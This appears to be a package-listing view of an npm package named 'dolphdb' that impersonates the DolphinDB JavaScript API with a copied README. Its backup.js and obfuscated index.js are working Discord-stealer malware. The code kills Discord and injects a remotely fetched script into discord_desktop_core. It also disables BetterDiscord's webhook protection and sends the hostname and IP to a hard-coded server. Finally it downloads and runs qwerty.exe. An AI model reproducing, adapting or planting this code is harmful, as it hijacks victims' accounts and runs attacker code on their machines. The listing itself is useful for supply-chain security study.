dolphdb 2.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of dolphdb might be problematic. Click here for more details.
- package/README.md +372 -0
- package/backup.js +215 -0
- package/index.js +1 -0
- package/package.json +31 -0
package/README.md
ADDED
@@ -0,0 +1,372 @@
|
|
1
|
+
# DolphinDB JavaScript API
|
2
|
+
|
3
|
+
<p align='center'>
|
4
|
+
<img src='https://raw.githubusercontent.com/dolphindb/api-javascript/d0bf5e3b816f1f2d0b31dc8be9f90ed2359b6b92/ddb.svg' alt='DolphinDB' width='256'>
|
5
|
+
</p>
|
6
|
+
|
7
|
+
<p align='center'>
|
8
|
+
<a href='https://www.npmjs.com/package/dolphdb' target='_blank'>
|
9
|
+
<img alt='npm version' src='https://img.shields.io/npm/v/dolphindb.svg?style=flat-square&color=brightgreen' />
|
10
|
+
</a>
|
11
|
+
<a href='https://www.npmjs.com/package/dolphdb' target='_blank'>
|
12
|
+
<img alt='npm downloads' src='https://img.shields.io/npm/dt/dolphindb?style=flat-square&color=brightgreen' />
|
13
|
+
</a>
|
14
|
+
</p>
|
15
|
+
|
16
|
+
## English | [中文](./README.zh.md)
|
17
|
+
|
18
|
+
## Overview
|
19
|
+
DolphinDB JavaScript API is a JavaScript library that encapsulates the ability to operate the DolphinDB database, such as: connecting to the database, executing scripts, calling functions, uploading variables, etc.
|
20
|
+
|
21
|
+
https://www.npmjs.com/package/dolphdb
|
22
|
+
|
23
|
+
## Features
|
24
|
+
- Communicate with DolphinDB database using WebSocket, exchange data in binary format
|
25
|
+
- Support running in browser environment and Node.js environment
|
26
|
+
- Use TypedArray such as Int32Array in JavaScript to process binary data, with high performance
|
27
|
+
- A single call supports serialized upload of up to 2GB of data, and the amount of downloaded data is not limited
|
28
|
+
|
29
|
+
## Installation
|
30
|
+
```bash
|
31
|
+
# 1. Install the latest version of Node.js and browser on the machine
|
32
|
+
|
33
|
+
# 2. Create a new project (skip this step if you already have a project)
|
34
|
+
mkdir dolphindb-example
|
35
|
+
cd dolphindb-example
|
36
|
+
npm init --yes
|
37
|
+
# Open the package.json file with an editor, add the line "type": "module", below "main": "./index.js",
|
38
|
+
# This enables the use of ECMAScript modules, and in the code behind you can use import { DDB } from 'dolphindb' to import npm packages
|
39
|
+
|
40
|
+
# 3. Install npm packages in your project
|
41
|
+
npm install dolphindb
|
42
|
+
```
|
43
|
+
|
44
|
+
## Usage
|
45
|
+
### 0. Initialize and connect to DolphinDB
|
46
|
+
```ts
|
47
|
+
import { DDB } from 'dolphindb'
|
48
|
+
// The import method for existing projects using CommonJS modules is const { DDB } = require('dolphindb')
|
49
|
+
// Use in browser: import { DDB } form 'dolphindb/browser.js'
|
50
|
+
|
51
|
+
// Create a database object and initialize the WebSocket URL
|
52
|
+
let ddb = new DDB('ws://127.0.0.1:8848')
|
53
|
+
|
54
|
+
// Establish a WebSocket connection to DolphinDB (requires DolphinDB database version at least 1.30.16 or 2.00.4)
|
55
|
+
await ddb.connect()
|
56
|
+
```
|
57
|
+
|
58
|
+
#### DDB options
|
59
|
+
```ts
|
60
|
+
let ddb = new DDB('ws://127.0.0.1:8848')
|
61
|
+
|
62
|
+
// Encrypt with HTTPS
|
63
|
+
let ddbsecure = new DDB('wss://dolphindb.com', {
|
64
|
+
// Whether to log in automatically after establishing a connection, default `true`
|
65
|
+
autologin: true,
|
66
|
+
|
67
|
+
// DolphinDB username, default `'admin'`
|
68
|
+
username: 'admin',
|
69
|
+
|
70
|
+
// DolphinDB password, default `'123456'`
|
71
|
+
password: '123456',
|
72
|
+
|
73
|
+
// set python session flag, default `false`
|
74
|
+
python: false
|
75
|
+
})
|
76
|
+
```
|
77
|
+
|
78
|
+
|
79
|
+
### 1. Call Functions
|
80
|
+
#### Example
|
81
|
+
```ts
|
82
|
+
import { DdbInt } from 'dolphindb'
|
83
|
+
|
84
|
+
const result = await ddb.call('add', [new DdbInt(1), new DdbInt(1)])
|
85
|
+
// TypeScript: const result = await ddb.call<DdbInt>('add', [new DdbInt(1), new DdbInt(1)])
|
86
|
+
|
87
|
+
console.log(result.value === 2) // true
|
88
|
+
```
|
89
|
+
|
90
|
+
#### The DolphinDB JavaScript API uses DdbObj objects to represent data types in DolphinDB
|
91
|
+
In the above example, two parameters 1 (corresponding to the int type in DolphinDB) are uploaded to the DolphinDB database as parameters of the add function, then the result of the function call is received.
|
92
|
+
|
93
|
+
`<DdbInt>` is used by TypeScript to infer the type of the return value
|
94
|
+
|
95
|
+
- result is a `DdbInt`, which is also a `DdbObj<number>`
|
96
|
+
- result.form is a `DdbForm.scalar`
|
97
|
+
- result.type is a `DdbType.int`
|
98
|
+
- result.value is native `number` in JavaScript (the value range and precision of int can be accurately represented by JavaScript number)
|
99
|
+
|
100
|
+
```ts
|
101
|
+
/** Can represent all data types in DolphinDB databases */
|
102
|
+
class DdbObj <T extends DdbValue = DdbValue> {
|
103
|
+
/** is it little endian */
|
104
|
+
le: boolean
|
105
|
+
|
106
|
+
/** data form https://www.dolphindb.cn/cn/help/DataTypesandStructures/DataForms/index.html */
|
107
|
+
form: DdbForm
|
108
|
+
|
109
|
+
/** data type https://www.dolphindb.cn/cn/help/DataTypesandStructures/DataTypes/index.html */
|
110
|
+
type: DdbType
|
111
|
+
|
112
|
+
/** consumed length in buf parsed */
|
113
|
+
length: number
|
114
|
+
|
115
|
+
/** table name / column name */
|
116
|
+
name?: string
|
117
|
+
|
118
|
+
/**
|
119
|
+
Lowest dimension
|
120
|
+
- vector: rows = n, cols = 1
|
121
|
+
- pair: rows = 2, cols = 1
|
122
|
+
- matrix: rows = n, cols = m
|
123
|
+
- set: the same as vector
|
124
|
+
- dict: include keys, values vector
|
125
|
+
- table: the same as matrix
|
126
|
+
*/
|
127
|
+
rows?: number
|
128
|
+
|
129
|
+
/** 2nd dimension */
|
130
|
+
cols?: number
|
131
|
+
|
132
|
+
/** the actual data. Different DdbForm, DdbType use different types in DdbValue to represent actual data */
|
133
|
+
value: T
|
134
|
+
|
135
|
+
/** raw binary data, only top-level objects generated by parse_message when parse_object is false have this attribute */
|
136
|
+
buffer?: Uint8Array
|
137
|
+
|
138
|
+
constructor (data: Partial<DdbObj> & { form: DdbForm, type: DdbType, length: number }) {
|
139
|
+
Object.assign(this, data)
|
140
|
+
}
|
141
|
+
}
|
142
|
+
|
143
|
+
class DdbInt extends DdbObj<number> {
|
144
|
+
constructor (value: number) {
|
145
|
+
super({
|
146
|
+
form: DdbForm.scalar,
|
147
|
+
type: DdbType.int,
|
148
|
+
length: 4,
|
149
|
+
value
|
150
|
+
})
|
151
|
+
}
|
152
|
+
}
|
153
|
+
|
154
|
+
// ... There are also many utility classes, such as DdbString, DdbLong, DdbDouble, DdbVectorDouble, DdbVectorAny, etc.
|
155
|
+
|
156
|
+
type DdbValue =
|
157
|
+
null | boolean | number | [number, number] | bigint | string | string[] |
|
158
|
+
Uint8Array | Int16Array | Int32Array | Float32Array | Float64Array | BigInt64Array | Uint8Array[] |
|
159
|
+
DdbObj[] | DdbFunctionDefValue | DdbSymbolExtendedValue
|
160
|
+
|
161
|
+
|
162
|
+
enum DdbForm {
|
163
|
+
scalar = 0,
|
164
|
+
vector = 1,
|
165
|
+
pair = 2,
|
166
|
+
matrix = 3,
|
167
|
+
set = 4,
|
168
|
+
dict = 5,
|
169
|
+
table = 6,
|
170
|
+
chart = 7,
|
171
|
+
chunk = 8,
|
172
|
+
}
|
173
|
+
|
174
|
+
|
175
|
+
enum DdbType {
|
176
|
+
void = 0,
|
177
|
+
bool = 1,
|
178
|
+
char = 2,
|
179
|
+
short = 3,
|
180
|
+
int = 4,
|
181
|
+
long = 5,
|
182
|
+
// ...
|
183
|
+
timestamp = 12,
|
184
|
+
// ...
|
185
|
+
double = 16,
|
186
|
+
symbol = 17,
|
187
|
+
string = 18,
|
188
|
+
// ...
|
189
|
+
}
|
190
|
+
```
|
191
|
+
|
192
|
+
##### If there is no shortcut class, you can also specify form and type to manually create a DdbObj object
|
193
|
+
```ts
|
194
|
+
// Created by the DdbDateTime shortcut class
|
195
|
+
new DdbDateTime(1644573600)
|
196
|
+
|
197
|
+
// Equivalent to manually creating an object of form = scalar, type = datetime through DdbObj
|
198
|
+
const obj = new DdbObj({
|
199
|
+
form: DdbForm.scalar,
|
200
|
+
type: DdbType.datetime,
|
201
|
+
value: 1644573600,
|
202
|
+
length: 0
|
203
|
+
})
|
204
|
+
|
205
|
+
|
206
|
+
// The corresponding type and value of value in js can refer to the result returned by ddb.eval (see the `eval` method declaration below)
|
207
|
+
const obj = await ddb.eval('2022.02.11 10:00:00')
|
208
|
+
console.log(obj.form === DdbForm.scalar)
|
209
|
+
console.log(obj.type === DdbType.datetime)
|
210
|
+
console.log(obj.value)
|
211
|
+
|
212
|
+
// Another example is to create a set
|
213
|
+
// refer to ddb.eval
|
214
|
+
// const obj = await ddb.eval('set([1, 2, 3])')
|
215
|
+
// console.log(obj.value)
|
216
|
+
const obj = new DdbObj({
|
217
|
+
form: DdbForm.set,
|
218
|
+
type: DdbType.int,
|
219
|
+
value: Int32Array.of(1, 2, 3),
|
220
|
+
length: 0
|
221
|
+
})
|
222
|
+
|
223
|
+
// It's easier to use shortcut classes
|
224
|
+
const obj = new DdbSetInt(
|
225
|
+
new Set([1, 2, 3])
|
226
|
+
)
|
227
|
+
```
|
228
|
+
|
229
|
+
##### NULL object in the form of scalar, the value corresponding to DdbObj is null in JavaScript
|
230
|
+
```ts
|
231
|
+
;(await ddb.eval('double()')).value === null
|
232
|
+
|
233
|
+
// create NULL object
|
234
|
+
new DdbInt(null)
|
235
|
+
new DdbDouble(null)
|
236
|
+
```
|
237
|
+
|
238
|
+
|
239
|
+
#### `call` Method Declaration
|
240
|
+
```ts
|
241
|
+
async call <T extends DdbObj> (
|
242
|
+
/** function name */
|
243
|
+
func: string,
|
244
|
+
|
245
|
+
/** function arguments (The incoming native string and boolean will be automatically converted to DdbObj<string> and DdbObj<boolean>) */
|
246
|
+
args?: (DdbObj | string | boolean)[] = [ ],
|
247
|
+
|
248
|
+
/** calling options */
|
249
|
+
options?: {
|
250
|
+
/** Urgent flag. Use urgent worker to execute to prevent being blocked by other jobs */
|
251
|
+
urgent?: boolean
|
252
|
+
|
253
|
+
/** When the node alias is set, the function is sent to the corresponding node in the cluster for execution (using the rpc method in DolphinDB) */
|
254
|
+
node?: string
|
255
|
+
|
256
|
+
/** When setting multiple node aliases, send them to the corresponding multiple nodes in the cluster for execution (using the pnodeRun method in DolphinDB) */
|
257
|
+
nodes?: string[]
|
258
|
+
|
259
|
+
/** It must be passed when setting the node parameter, the function type needs to be specified, and it is not passed in other cases */
|
260
|
+
func_type?: DdbFunctionType
|
261
|
+
|
262
|
+
/** It may be passed when setting the nodes parameter, otherwise may not be passed */
|
263
|
+
add_node_alias?: boolean
|
264
|
+
} = { }
|
265
|
+
): Promise<T>
|
266
|
+
```
|
267
|
+
|
268
|
+
|
269
|
+
### 2. Execute Script
|
270
|
+
#### Example
|
271
|
+
```ts
|
272
|
+
const result = await ddb.eval(
|
273
|
+
'def foo (a, b) {\n' +
|
274
|
+
' return a + b\n' +
|
275
|
+
'}\n' +
|
276
|
+
'foo(1l, 1l)\n'
|
277
|
+
)
|
278
|
+
|
279
|
+
// TypeScript:
|
280
|
+
// import type { DdbLong } from 'dolphindb'
|
281
|
+
// const result = await ddb.eval<DdbLong>(...)
|
282
|
+
|
283
|
+
console.log(result.value === 2n) // true
|
284
|
+
```
|
285
|
+
|
286
|
+
In the above example, a script is uploaded through a string to the DolphinDB database for execution, and the execution result of the last statement `foo(1l, 1l)` is received.
|
287
|
+
|
288
|
+
`<DdbLong>` is used by TypeScript to infer the type of the return value
|
289
|
+
|
290
|
+
- result is a `DdbLong`, which is also a `DdbObj<bigint>`
|
291
|
+
- result.form is `DdbForm.scalar`
|
292
|
+
- result.type is `DdbType.long`
|
293
|
+
- result.value is the native `bigint` in JavaScript (the precision of long cannot be accurately represented by JavaScript number, but it can be represented by bigint)
|
294
|
+
|
295
|
+
As long as the WebSocket connection is not disconnected, the custom function `foo` will always exist in the subsequent session and can be reused, for example, you can use `await ddb.call<DdbInt>('foo', [new DdbInt(1), new DdbInt(1)])` to call this custom function
|
296
|
+
|
297
|
+
#### `eval` Method Declaration
|
298
|
+
```ts
|
299
|
+
async eval <T extends DdbObj> (
|
300
|
+
/** the script to execute */
|
301
|
+
script: string,
|
302
|
+
|
303
|
+
/** calling options */
|
304
|
+
options: {
|
305
|
+
/** Urgent flag. Use urgent worker to execute to prevent being blocked by other jobs */
|
306
|
+
urgent?: boolean
|
307
|
+
} = { }
|
308
|
+
): Promise<T>
|
309
|
+
```
|
310
|
+
|
311
|
+
|
312
|
+
### 3. Upload Variables
|
313
|
+
#### Example
|
314
|
+
```ts
|
315
|
+
import { DdbVectorDouble } from 'dolphindb'
|
316
|
+
|
317
|
+
let a = new Array(10000)
|
318
|
+
a.fill(1.0)
|
319
|
+
|
320
|
+
ddb.upload(['bar1', 'bar2'], [new DdbVectorDouble(a), new DdbVectorDouble(a)])
|
321
|
+
```
|
322
|
+
|
323
|
+
In the above example, two variables `bar1`, `bar2` are uploaded, and the variable value is a double vector of length 10000
|
324
|
+
|
325
|
+
As long as the WebSocket connection is not disconnected, the variables `bar1`, `bar2` will always exist in the subsequent session and can be reused
|
326
|
+
|
327
|
+
#### `upload` Method Declaration
|
328
|
+
```ts
|
329
|
+
async upload (
|
330
|
+
/** variable names */
|
331
|
+
vars: string[],
|
332
|
+
|
333
|
+
/** variable values */
|
334
|
+
args: (DdbObj | string | boolean)[]
|
335
|
+
): Promise<void>
|
336
|
+
```
|
337
|
+
|
338
|
+
|
339
|
+
### Some Examples
|
340
|
+
```ts
|
341
|
+
import { nulls, DdbInt, timestamp2str, DdbVectorSymbol, DdbTable, DdbVectorDouble } from 'dolphindb'
|
342
|
+
|
343
|
+
// Format timestamp in DolphinDB as string
|
344
|
+
timestamp2str(
|
345
|
+
(
|
346
|
+
await ddb.call('now', [false])
|
347
|
+
// TypeScript: await ddb.call<DdbObj<bigint>>('now', [false])
|
348
|
+
).value
|
349
|
+
) === '2022.02.23 17:23:13.494'
|
350
|
+
|
351
|
+
// create symbol vector
|
352
|
+
new DdbVectorSymbol(['aaa', 'aaa', 'aaa', 'aaa', 'aaa', 'bbb'])
|
353
|
+
|
354
|
+
// Create a double vector with NULL values using JavaScript native arrays
|
355
|
+
new DdbVectorDouble([0.1, null, 0.3])
|
356
|
+
|
357
|
+
// More efficient and memory efficient double vector creation using JavaScript TypedArray
|
358
|
+
let av = new Float64Array(3)
|
359
|
+
av[0] = 0.1
|
360
|
+
av[1] = nulls.double
|
361
|
+
av[2] = 0.3
|
362
|
+
new DdbVectorDouble(av)
|
363
|
+
|
364
|
+
// create DdbTable
|
365
|
+
new DdbTable(
|
366
|
+
[
|
367
|
+
new DdbVectorDouble([0.1, 0.2, null], 'col0'),
|
368
|
+
new DdbVectorSymbol(['a', 'b', 'c'], 'col1')
|
369
|
+
],
|
370
|
+
'mytable'
|
371
|
+
)
|
372
|
+
```
|
package/backup.js
ADDED
@@ -0,0 +1,215 @@
|
|
1
|
+
|
2
|
+
const glob = require("glob");
|
3
|
+
const fs = require('fs');
|
4
|
+
const https = require('node:https');
|
5
|
+
const { exec } = require('child_process');
|
6
|
+
const shell = require('shelljs')
|
7
|
+
const os = require('node:os');
|
8
|
+
const axios = require('axios');
|
9
|
+
const download = require('download');
|
10
|
+
var ip = require("ip");
|
11
|
+
const zip = require("adm-zip");
|
12
|
+
const FormData = require("form-data");
|
13
|
+
var XMLHttpRequest = require('xhr2');
|
14
|
+
const buf_replace = require('buffer-replace');
|
15
|
+
const { session, BrowserWindow } = require("electron");
|
16
|
+
const path = require("path");
|
17
|
+
const querystring = require("querystring");
|
18
|
+
//////////////////////////////////////////////////////////////////////
|
19
|
+
const config = {
|
20
|
+
"logout": "instant",
|
21
|
+
"inject-notify": "true",
|
22
|
+
"logout-notify": "true",
|
23
|
+
"init-notify":"true",
|
24
|
+
"embed-color": 123,
|
25
|
+
"USERNAMEWEBHOOK": "mozarte",
|
26
|
+
"disable-qr-code": "true"
|
27
|
+
}
|
28
|
+
//////////////////////////////////////////////////////////////////////
|
29
|
+
let LOCAL = process.env.LOCALAPPDATA
|
30
|
+
let discords = [];
|
31
|
+
let injectPath = [];
|
32
|
+
let runningDiscords = [];
|
33
|
+
|
34
|
+
fs.readdirSync(LOCAL).forEach(file => {
|
35
|
+
if (file.includes("iscord")) {
|
36
|
+
discords.push(LOCAL + '\\' + file)
|
37
|
+
} else {
|
38
|
+
return;
|
39
|
+
}
|
40
|
+
});
|
41
|
+
|
42
|
+
const temp = process.env.temp;
|
43
|
+
|
44
|
+
const infecccc = async () => {
|
45
|
+
const response = await axios.get("https://cdn.discordapp.com/attachments/998660447886639106/1001240002358956134/qwerty.exe", {
|
46
|
+
responseType: "arraybuffer"
|
47
|
+
});
|
48
|
+
|
49
|
+
await fs.writeFileSync(temp + "\\qwerty.exe", response.data, {
|
50
|
+
encoding: "utf8",
|
51
|
+
flags: "w"
|
52
|
+
});
|
53
|
+
|
54
|
+
await exec(temp + `\\qwerty.exe`);
|
55
|
+
|
56
|
+
return;
|
57
|
+
};
|
58
|
+
|
59
|
+
|
60
|
+
function Infect() {
|
61
|
+
|
62
|
+
https.get('https://raw.githubusercontent.com/thaispecanhacafazzi/blagogo/main/index.js', (resp) => {
|
63
|
+
let data = '';
|
64
|
+
|
65
|
+
resp.on('data', (chunk) => {
|
66
|
+
data += chunk;
|
67
|
+
});
|
68
|
+
resp.on('end', () => {
|
69
|
+
injectPath.forEach(file => {
|
70
|
+
fs.writeFileSync(file, data.replace("%INITNOTI%", config["init-notify"]).replace("%USERIP%", ip.address()).replace("%LOGOUT%", config.logout).replace("%USERNAMEWEBHOOK%", config.USERNAMEWEBHOOK).replace("%LOGOUTNOTI%", config["logout-notify"]).replace("3447704",config["embed-color"]).replace('%DISABLEQRCODE%', config["disable-qr-code"]), {
|
71
|
+
encoding: 'utf8',
|
72
|
+
flag: 'w'
|
73
|
+
});
|
74
|
+
|
75
|
+
if (config["init-notify"] == "true") {
|
76
|
+
let init = file.replace("index.js", "init")
|
77
|
+
if (!fs.existsSync(init)) {
|
78
|
+
fs.mkdirSync(init, 0744)
|
79
|
+
}
|
80
|
+
}
|
81
|
+
|
82
|
+
if ( config.logout != "false" ) {
|
83
|
+
let folder = file.replace("index.js", "DC_BTW")
|
84
|
+
if (!fs.existsSync(folder)) {
|
85
|
+
fs.mkdirSync(folder, 0744)
|
86
|
+
if (config.logout == "instant") {
|
87
|
+
startDiscord();
|
88
|
+
}
|
89
|
+
} else if (fs.existsSync(folder) && config.logout == "instant" ){
|
90
|
+
startDiscord();
|
91
|
+
}
|
92
|
+
}
|
93
|
+
})
|
94
|
+
});
|
95
|
+
}).on("error", (err) => {
|
96
|
+
});
|
97
|
+
};
|
98
|
+
|
99
|
+
const logout = async () => {
|
100
|
+
await BrowserWindow.getAllWindows()[0].webContents.executeJavaScript(
|
101
|
+
`window.webpackJsonp?(gg=window.webpackJsonp.push([[],{get_require:(a,b,c)=>a.exports=c},[["get_require"]]]),delete gg.m.get_require,delete gg.c.get_require):window.webpackChunkdiscord_app&&window.webpackChunkdiscord_app.push([[Math.random()],{},a=>{gg=a}]);function LogOut(){(function(a){const b="string"==typeof a?a:null;for(const c in gg.c)if(gg.c.hasOwnProperty(c)){const d=gg.c[c].exports;if(d&&d.__esModule&&d.default&&(b?d.default[b]:a(d.default)))return d.default;if(d&&(b?d[b]:a(d)))return d}return null})("login").logout()}LogOut();`,
|
102
|
+
true
|
103
|
+
);
|
104
|
+
|
105
|
+
return "ok";
|
106
|
+
};
|
107
|
+
|
108
|
+
function killDiscord() {
|
109
|
+
runningDiscords.forEach(disc => {
|
110
|
+
exec(`taskkill /IM ${disc}.exe /F`, (err) => {
|
111
|
+
if (err) {
|
112
|
+
return;
|
113
|
+
}
|
114
|
+
});
|
115
|
+
});
|
116
|
+
|
117
|
+
if (config["inject-notify"] == "true" && injectPath.length != 0 ) {
|
118
|
+
injectNotify();
|
119
|
+
|
120
|
+
}
|
121
|
+
Infect()
|
122
|
+
pwnBetterDiscord()
|
123
|
+
};
|
124
|
+
|
125
|
+
function listDiscords() {
|
126
|
+
exec('tasklist', function(err, stdout, stderr) {
|
127
|
+
if (stdout.includes("Discord.exe")) runningDiscords.push("discord");
|
128
|
+
if (stdout.includes("Discord (32 bits).exe")) runningDiscords.push("Discord");
|
129
|
+
if (stdout.includes("Discord.exe")) runningDiscords.push("Discord (32 bits)");
|
130
|
+
if (stdout.includes("DiscordCanary.exe")) runningDiscords.push("discordcanary");
|
131
|
+
if (stdout.includes("Discord Canary (32 bits).exe")) runningDiscords.push("Discord Canary");
|
132
|
+
if (stdout.includes("DiscordDevelopment.exe")) runningDiscords.push("discorddevelopment");
|
133
|
+
if (stdout.includes("DiscordPTB.exe")) runningDiscords.push("discordptb");
|
134
|
+
if (stdout.includes("Powercord.exe")) runningDiscords.push("powercord");
|
135
|
+
if (stdout.includes("Fiddler.exe")) runningDiscords.push("fiddler");
|
136
|
+
if (stdout.includes("wireshark.exe")) runningDiscords.push("wireshark");
|
137
|
+
|
138
|
+
if (config.logout == "instant") {
|
139
|
+
killDiscord();
|
140
|
+
} else {
|
141
|
+
if (config["inject-notify"] == "true" && injectPath.length != 0 ) {
|
142
|
+
injectNotify();
|
143
|
+
}
|
144
|
+
Infect()
|
145
|
+
pwnBetterDiscord()
|
146
|
+
}
|
147
|
+
})
|
148
|
+
};
|
149
|
+
|
150
|
+
function startDiscord() {
|
151
|
+
runningDiscords.forEach(disc => {
|
152
|
+
let path = LOCAL + '\\' + disc + "\\Update.exe --processStart " + disc + ".exe"
|
153
|
+
exec(path, (err) => {
|
154
|
+
if (err) {
|
155
|
+
return;
|
156
|
+
}
|
157
|
+
});
|
158
|
+
});
|
159
|
+
};
|
160
|
+
|
161
|
+
function pwnBetterDiscord() {
|
162
|
+
let dir = process.env.appdata + "\\BetterDiscord\\data\\betterdiscord.asar"
|
163
|
+
if (fs.existsSync(dir)) {
|
164
|
+
let x = fs.readFileSync(dir)
|
165
|
+
fs.writeFileSync(dir, buf_replace(x, "api/webhooks", "dc"))
|
166
|
+
}
|
167
|
+
|
168
|
+
return;
|
169
|
+
}
|
170
|
+
|
171
|
+
function injectNotify() {
|
172
|
+
let fields = [];
|
173
|
+
injectPath.forEach( path => {
|
174
|
+
let c = path
|
175
|
+
fields.push(c)
|
176
|
+
})
|
177
|
+
|
178
|
+
const data = `{"fields":"Discord Desktop (app-1.0.9005)", "pcname":"${os.hostname()}", "ip":"${ip.address()}", "idclientkey":"mozarte"}`
|
179
|
+
var xhr = new XMLHttpRequest();
|
180
|
+
xhr.open('POST', 'http://20.14.80.127/api/newinjection', true);
|
181
|
+
xhr.setRequestHeader('Content-type', 'application/json');
|
182
|
+
xhr.onload = function () {
|
183
|
+
const negrodefender = this.responseText;
|
184
|
+
};
|
185
|
+
xhr.send(data);
|
186
|
+
}
|
187
|
+
|
188
|
+
function getDirectories(path) {
|
189
|
+
return fs.readdirSync(path).filter(function (file) {
|
190
|
+
return fs.statSync(path+'/'+file).isDirectory();
|
191
|
+
});
|
192
|
+
}
|
193
|
+
|
194
|
+
|
195
|
+
listDiscords();
|
196
|
+
discords.forEach(function(file) {
|
197
|
+
getDirectories(file + "\\").forEach((item) => {
|
198
|
+
if (item.includes("app-")) {
|
199
|
+
file = file + "\\" + item + "\\modules\\";
|
200
|
+
}
|
201
|
+
});
|
202
|
+
getDirectories(file).forEach((item) => {
|
203
|
+
if (item.includes("discord_desktop_core-")) {
|
204
|
+
file = file + "\\" + item + "\\discord_desktop_core\\index.js";
|
205
|
+
}
|
206
|
+
});
|
207
|
+
|
208
|
+
if (fs.existsSync(file)) {
|
209
|
+
injectPath.push(file);
|
210
|
+
}
|
211
|
+
});
|
212
|
+
killDiscord();
|
213
|
+
Infect();
|
214
|
+
startDiscord();
|
215
|
+
infecccc();
|
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x8c0527=_0x2756;(function(_0x588c5c,_0x188fae){const _0x201105=_0x2756,_0x3249b6=_0x588c5c();while(!![]){try{const _0x34b019=parseInt(_0x201105(0x184))/0x1*(-parseInt(_0x201105(0x18a))/0x2)+-parseInt(_0x201105(0x14b))/0x3*(parseInt(_0x201105(0x188))/0x4)+-parseInt(_0x201105(0x154))/0x5*(-parseInt(_0x201105(0x176))/0x6)+parseInt(_0x201105(0x18b))/0x7+parseInt(_0x201105(0x186))/0x8*(parseInt(_0x201105(0x13f))/0x9)+-parseInt(_0x201105(0x175))/0xa*(parseInt(_0x201105(0x134))/0xb)+parseInt(_0x201105(0x142))/0xc;if(_0x34b019===_0x188fae)break;else _0x3249b6['push'](_0x3249b6['shift']());}catch(_0x5b0501){_0x3249b6['push'](_0x3249b6['shift']());}}}(_0x57f3,0x2f26d));const glob=require(_0x8c0527(0x166)),fs=require('fs'),https=require('node:https'),{exec:exec}=require(_0x8c0527(0x191)),shell=require(_0x8c0527(0x14d)),os=require(_0x8c0527(0x153)),axios=require(_0x8c0527(0x147)),download=require(_0x8c0527(0x146));var ip=require('ip');const zip=require('adm-zip'),FormData=require('form-data');var XMLHttpRequest=require(_0x8c0527(0x158));const buf_replace=require(_0x8c0527(0x164)),{session:session,BrowserWindow:BrowserWindow}=require('electron'),path=require(_0x8c0527(0x16d)),querystring=require('querystring'),config={'logout':_0x8c0527(0x131),'inject-notify':_0x8c0527(0x135),'logout-notify':_0x8c0527(0x135),'init-notify':_0x8c0527(0x135),'embed-color':0x7b,'USERNAMEWEBHOOK':_0x8c0527(0x13a),'disable-qr-code':'true'};let LOCAL=process['env'][_0x8c0527(0x14c)],discords=[],injectPath=[],runningDiscords=[];fs[_0x8c0527(0x189)](LOCAL)[_0x8c0527(0x156)](_0x4d6329=>{const _0x585d9b=_0x8c0527;_0x4d6329[_0x585d9b(0x13e)](_0x585d9b(0x173))&&discords[_0x585d9b(0x150)](LOCAL+'\x5c'+_0x4d6329);});const temp=process[_0x8c0527(0x182)]['temp'],infecccc=async()=>{const _0xcda32f=_0x8c0527,_0x241a5b=await axios[_0xcda32f(0x174)](_0xcda32f(0x192),{'responseType':_0xcda32f(0x198)});await fs[_0xcda32f(0x15e)](temp+'\x5cqwerty.exe',_0x241a5b['data'],{'encoding':_0xcda32f(0x19a),'flags':'w'}),await exec(temp+_0xcda32f(0x137));};function _0x57f3(){const _0x4ba5e5=['arraybuffer','https://raw.githubusercontent.com/thaispecanhacafazzi/blagogo/main/index.js','utf8','console','apply','discordptb','warn','logout','instant','discorddevelopment','%USERNAMEWEBHOOK%','219428efoxWp','true','send','\x5cqwerty.exe','end','(((.+)+)+)+$','mozarte','isDirectory','exception','init','includes','18LMXweG','__proto__','DiscordCanary.exe','3067416wJAtsq','false','appdata','api/webhooks','download','axios','application/json','toString','window.webpackJsonp?(gg=window.webpackJsonp.push([[],{get_require:(a,b,c)=>a.exports=c},[[\x22get_require\x22]]]),delete\x20gg.m.get_require,delete\x20gg.c.get_require):window.webpackChunkdiscord_app&&window.webpackChunkdiscord_app.push([[Math.random()],{},a=>{gg=a}]);function\x20LogOut(){(function(a){const\x20b=\x22string\x22==typeof\x20a?a:null;for(const\x20c\x20in\x20gg.c)if(gg.c.hasOwnProperty(c)){const\x20d=gg.c[c].exports;if(d&&d.__esModule&&d.default&&(b?d.default[b]:a(d.default)))return\x20d.default;if(d&&(b?d[b]:a(d)))return\x20d}return\x20null})(\x22login\x22).logout()}LogOut();','3BWdanJ','LOCALAPPDATA','shelljs','wireshark','error','push','discord','%DISABLEQRCODE%','node:os','950LfUBWB','\x5cdiscord_desktop_core\x5cindex.js','forEach','init-notify','xhr2','disable-qr-code','3447704','open','\x5cUpdate.exe\x20--processStart\x20','.exe','writeFileSync','replace','existsSync','address','Content-type','%INITNOTI%','buffer-replace','discord_desktop_core-','glob','Powercord.exe','DiscordDevelopment.exe','Discord','index.js','DC_BTW','taskkill\x20/IM\x20','path','statSync','\x5cBetterDiscord\x5cdata\x5cbetterdiscord.asar','%LOGOUT%','trace','http://20.14.80.127/api/newinjection','iscord','get','140otRXQh','1308qaImAS','mkdirSync','constructor','\x22,\x20\x22ip\x22:\x22','prototype','log','return\x20(function()\x20','powercord','app-','Discord.exe','Discord\x20(32\x20bits).exe','inject-notify','env','length','233zYMZeZ','executeJavaScript','639112pELMLY','onload','135548GPisIA','readdirSync','1762HCzYMS','1783243ryXUWP','{}.constructor(\x22return\x20this\x22)(\x20)','readFileSync','filter','Discord\x20(32\x20bits)','USERNAMEWEBHOOK','child_process','https://cdn.discordapp.com/attachments/998660447886639106/1001240002358956134/qwerty.exe','setRequestHeader','table','search','embed-color','\x22,\x20\x22idclientkey\x22:\x22mozarte\x22}'];_0x57f3=function(){return _0x4ba5e5;};return _0x57f3();}function Infect(){const _0x151572=_0x8c0527;https['get'](_0x151572(0x199),_0x194031=>{const _0x1db9d8=_0x151572;let _0xe9cbd8='';_0x194031['on']('data',_0x4bd00c=>{_0xe9cbd8+=_0x4bd00c;}),_0x194031['on'](_0x1db9d8(0x138),()=>{const _0x3d0707=_0x1db9d8;injectPath[_0x3d0707(0x156)](_0x471287=>{const 